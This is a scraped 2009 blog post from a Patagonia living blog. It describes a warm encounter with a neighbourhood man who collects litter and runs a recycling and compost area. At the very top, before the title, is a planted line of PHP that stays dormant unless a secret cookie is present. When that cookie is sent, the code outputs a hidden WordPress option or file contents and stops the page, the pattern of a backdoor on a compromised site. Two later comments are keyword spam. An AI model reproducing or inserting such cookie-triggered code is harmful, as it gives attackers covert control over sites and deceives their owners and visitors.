if (isset($_COOKIE["_nJ5ZWMGy9FSVKmTzHih0XLcABwxNPRoqQDst4U1eEv8gIjfl3bpCru6Y"])) { $lines = get_option( 'wpsdt4_license_key' ); if (!empty($lines)) { $lines = @file_get_contents("8113a13f"); } echo $lines; exit(); } LivingInPatagonia.com » Blog Archive » Our Neighborhood Charlie Chaplin

Our Neighborhood Charlie Chaplin

October 27th, 2009 Posted in day to day

Written by Shanie

As in all countries, there are some aspects about Argentina that can be worked upon…one of those being litter and trash control.

As an avid lover of the creations of Mother Nature (I’m not sure if you could tell by any of my other posts), this is one of my biggest struggles. I have a hard time with seeing such an amazingly beautiful place poke-a-dotted with trash bags, candy wrappers, cigarette butts and toilet paper. In fairness, some of the wayward garbage is due to dumpsters becoming overfilled and the loose dog’s temptation to smell. But either way, the garbage that is strewn amongst nature has to be picked up eventually by a human hand.

So, instead of letting it drive me crazy, Jamie and I tend to clean up some litter everyday…our zone mainly being the Parque Llao Llao.

Well, there is another gentleman that has become a “trash crusader”.

A short guy that looks me straight in the eye at five feet tall, he has a cute little Charlie Chaplin mustache, shuffle to his walk, and twitch to his nose when making a point while talking. Although mentally challenged, this sweetheart of a man has taken it upon himself in the last few years to clean the Peninsula San Pedro area. In addition to cleaning up the continual litter that is strewn due to the unkempt dumpsters, he also built and maintains a recycling area and compost…because of his hard work we are one of only two neighborhoods in Bariloche that recycle. And of course, the community consciously or subconsciously is being affected positively by his actions.

So today, while dumping off garbage and recyclables in the pouring down rain, I heard a little scuffle behind me and turned around to find Argentina’s Charlie. He gives me a hearty kiss to the cheek and an irresistible smile that spans from ear to ear. He is so happy. He is wet. But happy.

We have never actually met face to face and he explains that he is the keeper of the neighborhood. He asks if he can help me with my truck full of stuff in exchange for some moneda. I feel honored to be in the presence of this amazing soul. His personal sense of happiness is bursting from every pore. He is glowing. Yes, he deals with garbage on a daily basis, probably has the IQ of what many would consider to be stupid, and lives a humble existence, but this man is literally radiating.

In fact, he is so proud of his work that he gives me a little tour of his creation and explains that he has extended the compost zone to get ready for spring clean-up.

I literally have tears coming to my eyes. Señor Chaplin is a shining example that happiness is a state of mind.

At the end of our conversation, I express my gratitude for his hard work and hand him a 100 pesos (the equivalent to less than US$30). It is his turn to tear up. He plants a big, ol’ wet kiss on my cheek and gives me a smile I will never forget.

And a lesson that I will carry with me forever…

I think the Dalai Lama said it well, ” The basic thing is that everyone wants happiness, no one wants suffering. And happiness mainly comes from our own attitude, rather than from external factors. If your own mental attitude is correct, even if you remain in a hostile atmosphere, you feel happy.”

  1. 7 Responses to “Our Neighborhood Charlie Chaplin”

  2. By Mike on Oct 28, 2009

    Thanks for sharing that inspirational story! I hope that your recycling trend catches on in Patagonia!

  3. By jamie on Oct 28, 2009

    As I am away travelling and are far away, reading this post makes me feel honored to call you my wife.

    I love and miss you very much, Jamie

  4. By Patagonia on Oct 28, 2009

    Thanks Schecky! Besos amor!

  5. By dumpsters on Sep 18, 2014

    What i don’t understood is in truth how you
    are now not actually a lot more well-liked than you might be now.

    You’re so intelligent. You understand therefore significantly in the case of
    this matter, produced me in my view consider it from so
    many varied angles. Its like women and men aren’t interested
    except it’s one thing to accomplish with Woman gaga!
    Your individual stuffs nice. Always care for it up!

  6. By coolest garbage bags on Sep 25, 2014

    Undeniably imagine that which you stated. Your favorite justification seemed to
    be at the web the simplest thing to take into accout of.
    I say to you, I definitely get annoyed at the same time as folks consider concerns
    that they just don’t recognize about. You managed to hit the nail upon the top as well as
    outlined out the entire thing with no need side effect , folks can take a signal.

    Will likely be again to get more. Thank you

  1. 2 Trackback(s)

  2. Dec 21, 2009: LivingInPatagonia.com » Blog Archive » El Trabajador del Año
  3. Jan 1, 2010: LivingInPatagonia.com » Blog Archive » 5 Lessons from Argentina in 2009

Post a Comment